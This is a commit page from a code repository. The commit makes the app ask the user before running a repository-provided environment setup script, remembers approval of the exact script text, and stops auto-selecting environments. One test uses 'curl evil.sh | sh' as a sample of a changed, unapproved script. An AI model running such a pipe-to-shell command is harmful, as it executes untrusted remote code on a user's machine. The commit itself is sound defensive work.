Skip to content
This repository was archived by the owner on Aug 6, 2026. It is now read-only.

Commit 98953ce

Browse files
committed
confirm repo-provided setup script before running
1 parent db731e4 commit 98953ce

9 files changed

Lines changed: 253 additions & 7 deletions

File tree

packages/core/src/task-detail/taskCreationHost.ts

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -128,6 +128,12 @@ export interface ITaskCreationHost {
128128
): Promise<string[]>;
129129
setProvisioningActive(taskId: string): void;
130130
clearProvisioning(taskId: string): void;
131+
confirmEnvironmentSetup(args: {
132+
repoPath: string;
133+
environmentId: string;
134+
name: string;
135+
script: string;
136+
}): Promise<boolean>;
131137
dispatchSetupAction(args: SetupActionDispatch): void;
132138
track(event: string, props?: Record<string, unknown>): void;
133139
importClaudeCliSession(args: {

packages/core/src/task-detail/taskCreationSaga.test.ts

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -29,6 +29,7 @@ const mockHost = vi.hoisted(() => ({
2929
uploadRunAttachments: vi.fn(),
3030
setProvisioningActive: vi.fn(),
3131
clearProvisioning: vi.fn(),
32+
confirmEnvironmentSetup: vi.fn(async () => true),
3233
dispatchSetupAction: vi.fn(),
3334
importClaudeCliSession: vi.fn(),
3435
deleteClaudeCliImport: vi.fn(),

packages/core/src/task-detail/taskCreationSaga.ts

Lines changed: 9 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -637,9 +637,17 @@ export class TaskCreationSaga extends Saga<
637637
): void {
638638
this.deps.host
639639
.getEnvironment({ repoPath, id: environmentId })
640-
.then((env) => {
640+
.then(async (env) => {
641641
if (!env?.setup?.script) return;
642642

643+
const approved = await this.deps.host.confirmEnvironmentSetup({
644+
repoPath,
645+
environmentId,
646+
name: env.name,
647+
script: env.setup.script,
648+
});
649+
if (!approved) return;
650+
643651
this.deps.host.dispatchSetupAction({
644652
taskId,
645653
command: env.setup.script,
Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
import { render } from "@testing-library/react";
2+
import { describe, expect, it, vi } from "vitest";
3+
4+
const useEnvironments = vi.fn();
5+
6+
vi.mock("./useEnvironments", () => ({
7+
useEnvironments: (repoPath: string | null) => useEnvironments(repoPath),
8+
}));
9+
10+
import { EnvironmentSelector } from "./EnvironmentSelector";
11+
12+
describe("EnvironmentSelector", () => {
13+
it("never selects a repo-provided environment on its own", () => {
14+
useEnvironments.mockReturnValue({
15+
data: [
16+
{ id: "env-1", name: "Malicious" },
17+
{ id: "env-2", name: "Other" },
18+
],
19+
});
20+
const onChange = vi.fn();
21+
22+
render(
23+
<EnvironmentSelector repoPath="/repo" value={null} onChange={onChange} />,
24+
);
25+
26+
expect(onChange).not.toHaveBeenCalled();
27+
});
28+
});

packages/ui/src/features/environments/EnvironmentSelector.tsx

Lines changed: 2 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@ import {
1010
ComboboxListFooter,
1111
ComboboxTrigger,
1212
} from "@posthog/quill";
13-
import { useEffect, useRef, useState } from "react";
13+
import { useRef, useState } from "react";
1414
import { useEnvironments } from "./useEnvironments";
1515

1616
interface EnvironmentSelectorProps {
@@ -35,11 +35,7 @@ export function EnvironmentSelector({
3535

3636
const { data: environments = [] } = useEnvironments(repoPath);
3737

38-
useEffect(() => {
39-
if (value === null && environments.length > 0) {
40-
onChange(environments[0].id);
41-
}
42-
}, [value, environments, onChange]);
38+
// Never auto-select: environments are repo-provided and run setup scripts.
4339

4440
const selectedEnvironment = environments.find((env) => env.id === value);
4541
const displayText = selectedEnvironment?.name ?? "No environment";

packages/ui/src/features/settings/settingsStore.test.ts

Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -479,3 +479,59 @@ describe("feature settingsStore terminal font", () => {
479479
);
480480
});
481481
});
482+
483+
describe("feature settingsStore environment setup approvals", () => {
484+
beforeEach(async () => {
485+
await resetPersistenceMocks();
486+
useSettingsStore.setState({ approvedEnvironmentSetups: {} });
487+
});
488+
489+
it("is not approved before the user confirms", () => {
490+
expect(
491+
useSettingsStore
492+
.getState()
493+
.isEnvironmentSetupApproved("/repo", "env-1", "npm run setup"),
494+
).toBe(false);
495+
});
496+
497+
it("approves the exact script the user confirmed", () => {
498+
useSettingsStore
499+
.getState()
500+
.setApprovedEnvironmentSetup("/repo", "env-1", "npm run setup");
501+
502+
expect(
503+
useSettingsStore
504+
.getState()
505+
.isEnvironmentSetupApproved("/repo", "env-1", "npm run setup"),
506+
).toBe(true);
507+
});
508+
509+
it("re-prompts when the approved script text changes", () => {
510+
useSettingsStore
511+
.getState()
512+
.setApprovedEnvironmentSetup("/repo", "env-1", "npm run setup");
513+
514+
expect(
515+
useSettingsStore
516+
.getState()
517+
.isEnvironmentSetupApproved("/repo", "env-1", "curl evil.sh | sh"),
518+
).toBe(false);
519+
});
520+
521+
it("scopes approval to the repo and environment", () => {
522+
useSettingsStore
523+
.getState()
524+
.setApprovedEnvironmentSetup("/repo", "env-1", "npm run setup");
525+
526+
expect(
527+
useSettingsStore
528+
.getState()
529+
.isEnvironmentSetupApproved("/other-repo", "env-1", "npm run setup"),
530+
).toBe(false);
531+
expect(
532+
useSettingsStore
533+
.getState()
534+
.isEnvironmentSetupApproved("/repo", "env-2", "npm run setup"),
535+
).toBe(false);
536+
});
537+
});

packages/ui/src/features/settings/settingsStore.ts

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -113,6 +113,9 @@ interface SettingsStore {
113113
// picker immediately, before the (slow) live branch list resolves.
114114
cachedCloudDefaultBranchMap: Record<string, string>;
115115
lastUsedEnvironments: Record<string, string>;
116+
// Keyed by repo + environment; the value is the approved script text, so an
117+
// edited script re-prompts.
118+
approvedEnvironmentSetups: Record<string, string>;
116119
defaultInitialTaskMode: DefaultInitialTaskMode;
117120
lastUsedInitialTaskMode: ExecutionMode;
118121
// Mode last chosen when approving a plan; pre-selected on the next approval.
@@ -137,6 +140,16 @@ interface SettingsStore {
137140
environmentId: string | null,
138141
) => void;
139142
getLastUsedEnvironment: (repoPath: string) => string | null;
143+
setApprovedEnvironmentSetup: (
144+
repoPath: string,
145+
environmentId: string,
146+
script: string,
147+
) => void;
148+
isEnvironmentSetupApproved: (
149+
repoPath: string,
150+
environmentId: string,
151+
script: string,
152+
) => boolean;
140153
setDefaultInitialTaskMode: (mode: DefaultInitialTaskMode) => void;
141154
setLastUsedInitialTaskMode: (mode: ExecutionMode) => void;
142155
setLastPlanApprovalMode: (mode: ExecutionMode) => void;
@@ -303,6 +316,7 @@ export const useSettingsStore = create<SettingsStore>()(
303316
cachedCloudRepositoryMap: {},
304317
cachedCloudDefaultBranchMap: {},
305318
lastUsedEnvironments: {},
319+
approvedEnvironmentSetups: {},
306320
defaultInitialTaskMode: "plan",
307321
lastUsedInitialTaskMode: "plan",
308322
lastPlanApprovalMode: null,
@@ -343,6 +357,16 @@ export const useSettingsStore = create<SettingsStore>()(
343357
}),
344358
getLastUsedEnvironment: (repoPath) =>
345359
get().lastUsedEnvironments[repoPath] ?? null,
360+
setApprovedEnvironmentSetup: (repoPath, environmentId, script) =>
361+
set((state) => ({
362+
approvedEnvironmentSetups: {
363+
...state.approvedEnvironmentSetups,
364+
[`${repoPath}\0${environmentId}`]: script,
365+
},
366+
})),
367+
isEnvironmentSetupApproved: (repoPath, environmentId, script) =>
368+
get().approvedEnvironmentSetups[`${repoPath}\0${environmentId}`] ===
369+
script,
346370
setDefaultInitialTaskMode: (mode) =>
347371
set({ defaultInitialTaskMode: mode }),
348372
setLastUsedInitialTaskMode: (mode) =>
@@ -528,6 +552,7 @@ export const useSettingsStore = create<SettingsStore>()(
528552
cachedCloudRepositoryMap: state.cachedCloudRepositoryMap,
529553
cachedCloudDefaultBranchMap: state.cachedCloudDefaultBranchMap,
530554
lastUsedEnvironments: state.lastUsedEnvironments,
555+
approvedEnvironmentSetups: state.approvedEnvironmentSetups,
531556
defaultInitialTaskMode: state.defaultInitialTaskMode,
532557
lastUsedInitialTaskMode: state.lastUsedInitialTaskMode,
533558
lastPlanApprovalMode: state.lastPlanApprovalMode,
Lines changed: 91 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,91 @@
1+
import { registerRendererStateStorage } from "@posthog/ui/shell/rendererStorage";
2+
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
3+
4+
registerRendererStateStorage({
5+
getItem: vi.fn().mockResolvedValue(null),
6+
setItem: vi.fn().mockResolvedValue(undefined),
7+
removeItem: vi.fn().mockResolvedValue(undefined),
8+
});
9+
10+
vi.mock("@posthog/di/container", () => ({
11+
resolveService: vi.fn(),
12+
}));
13+
14+
vi.mock("../../shell/analytics", () => ({
15+
track: vi.fn(),
16+
captureException: vi.fn(),
17+
}));
18+
19+
import { useSettingsStore } from "../settings/settingsStore";
20+
import { TrpcTaskCreationHost } from "./taskCreationHostImpl";
21+
22+
const args = {
23+
repoPath: "/repo",
24+
environmentId: "env-1",
25+
name: "Dev",
26+
script: "npm run setup",
27+
};
28+
29+
describe("TrpcTaskCreationHost.confirmEnvironmentSetup", () => {
30+
const host = new TrpcTaskCreationHost();
31+
32+
beforeEach(() => {
33+
useSettingsStore.setState({
34+
approvedEnvironmentSetups: {},
35+
_hasHydrated: true,
36+
});
37+
});
38+
39+
afterEach(() => {
40+
vi.restoreAllMocks();
41+
});
42+
43+
it("hydrates the persisted store before reading approvals", async () => {
44+
useSettingsStore.setState({ _hasHydrated: false });
45+
const rehydrateSpy = vi
46+
.spyOn(useSettingsStore.persist, "rehydrate")
47+
.mockResolvedValue(undefined);
48+
vi.spyOn(window, "confirm").mockReturnValue(false);
49+
50+
await host.confirmEnvironmentSetup(args);
51+
52+
expect(rehydrateSpy).toHaveBeenCalledTimes(1);
53+
});
54+
55+
it("prompts and persists approval when the user accepts", async () => {
56+
const confirmSpy = vi.spyOn(window, "confirm").mockReturnValue(true);
57+
58+
await expect(host.confirmEnvironmentSetup(args)).resolves.toBe(true);
59+
60+
expect(confirmSpy).toHaveBeenCalledTimes(1);
61+
expect(
62+
useSettingsStore
63+
.getState()
64+
.isEnvironmentSetupApproved("/repo", "env-1", "npm run setup"),
65+
).toBe(true);
66+
});
67+
68+
it("does not persist approval when the user declines", async () => {
69+
const confirmSpy = vi.spyOn(window, "confirm").mockReturnValue(false);
70+
71+
await expect(host.confirmEnvironmentSetup(args)).resolves.toBe(false);
72+
73+
expect(confirmSpy).toHaveBeenCalledTimes(1);
74+
expect(
75+
useSettingsStore
76+
.getState()
77+
.isEnvironmentSetupApproved("/repo", "env-1", "npm run setup"),
78+
).toBe(false);
79+
});
80+
81+
it("skips the prompt when the exact script is already approved", async () => {
82+
useSettingsStore
83+
.getState()
84+
.setApprovedEnvironmentSetup("/repo", "env-1", "npm run setup");
85+
const confirmSpy = vi.spyOn(window, "confirm").mockReturnValue(false);
86+
87+
await expect(host.confirmEnvironmentSetup(args)).resolves.toBe(true);
88+
89+
expect(confirmSpy).not.toHaveBeenCalled();
90+
});
91+
});

packages/ui/src/features/task-detail/taskCreationHostImpl.ts

Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -33,6 +33,7 @@ import { resolveLocalSkillPrompt } from "../message-editor/commands";
3333
import { DEFAULT_PANEL_IDS } from "../panels/panelConstants";
3434
import { usePanelLayoutStore } from "../panels/panelLayoutStore";
3535
import { useProvisioningStore } from "../provisioning/store";
36+
import { useSettingsStore } from "../settings/settingsStore";
3637
import { takeWarmTaskLease } from "./hooks/warmTaskLease";
3738

3839
interface EnvironmentHostClient {
@@ -194,6 +195,40 @@ export class TrpcTaskCreationHost implements ITaskCreationHost {
194195
useProvisioningStore.getState().clear(taskId);
195196
}
196197

198+
async confirmEnvironmentSetup(args: {
199+
repoPath: string;
200+
environmentId: string;
201+
name: string;
202+
script: string;
203+
}): Promise<boolean> {
204+
// Reading mid-hydration would miss a prior approval and re-prompt.
205+
if (!useSettingsStore.getState()._hasHydrated) {
206+
await useSettingsStore.persist.rehydrate();
207+
}
208+
const settings = useSettingsStore.getState();
209+
if (
210+
settings.isEnvironmentSetupApproved(
211+
args.repoPath,
212+
args.environmentId,
213+
args.script,
214+
)
215+
) {
216+
return true;
217+
}
218+
219+
const approved = window.confirm(
220+
`The environment "${args.name}" in ${args.repoPath} wants to run this setup script on your machine:\n\n${args.script}\n\nRun it?`,
221+
);
222+
if (approved) {
223+
settings.setApprovedEnvironmentSetup(
224+
args.repoPath,
225+
args.environmentId,
226+
args.script,
227+
);
228+
}
229+
return approved;
230+
}
231+
197232
dispatchSetupAction(args: SetupActionDispatch): void {
198233
const actionId = `setup-${args.taskId}-${Date.now()}`;
199234
usePanelLayoutStore

0 commit comments

Comments
 (0)